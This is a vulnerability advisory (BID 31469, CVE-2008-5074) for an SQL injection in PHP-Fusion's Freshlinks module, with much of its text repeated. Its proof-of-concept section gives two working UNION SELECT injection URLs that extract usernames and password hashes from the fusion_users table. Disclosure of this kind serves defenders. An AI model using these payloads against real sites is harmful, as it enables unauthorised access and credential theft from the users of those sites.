PHP-Fusion Freshlinks Module 'linkid' Parameter SQL Injection Vulnerability
BID:31469
Info
PHP-Fusion Freshlinks Module 'linkid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 31469 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-5074 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 29 2008 12:00AM |
| Updated: | May 07 2015 05:23PM |
| Credit: | boom3rang |
| Vulnerable: |
Freshlinks Freshlinks 1.0 RC1 |
| Not Vulnerable: | |
Discussion
PHP-Fusion Freshlinks Module 'linkid' Parameter SQL Injection Vulnerability
PHP-Fusion is prone to an SQL-injection vulnerability affecting the 'freshlinks' module because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP-Fusion is prone to an SQL-injection vulnerability affecting the 'freshlinks' module because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
PHP-Fusion Freshlinks Module 'linkid' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com/infusions/freshlinks_panel/index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6,7,8/**/from/**/fusion_users--&frame
http://www.example.com/infusions/freshlinks_panel/index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6,7,8/**/from/**/fusion_users--&frame
An attacker can exploit this issue via a browser.
The following example URIs are available:
http://www.example.com/infusions/freshlinks_panel/index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6,7,8/**/from/**/fusion_users--&frame
http://www.example.com/infusions/freshlinks_panel/index.php?linkid=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6,7,8/**/from/**/fusion_users--&frame
Solution / Fix
PHP-Fusion Freshlinks Module 'linkid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP-Fusion Freshlinks Module 'linkid' Parameter SQL Injection Vulnerability
References:
References:
- fresh links Infusion v1.0 RC1 - incl YouTube etc url parser (Freshlinks)
- PHP-Fusion Homepage (PHP-Fusion)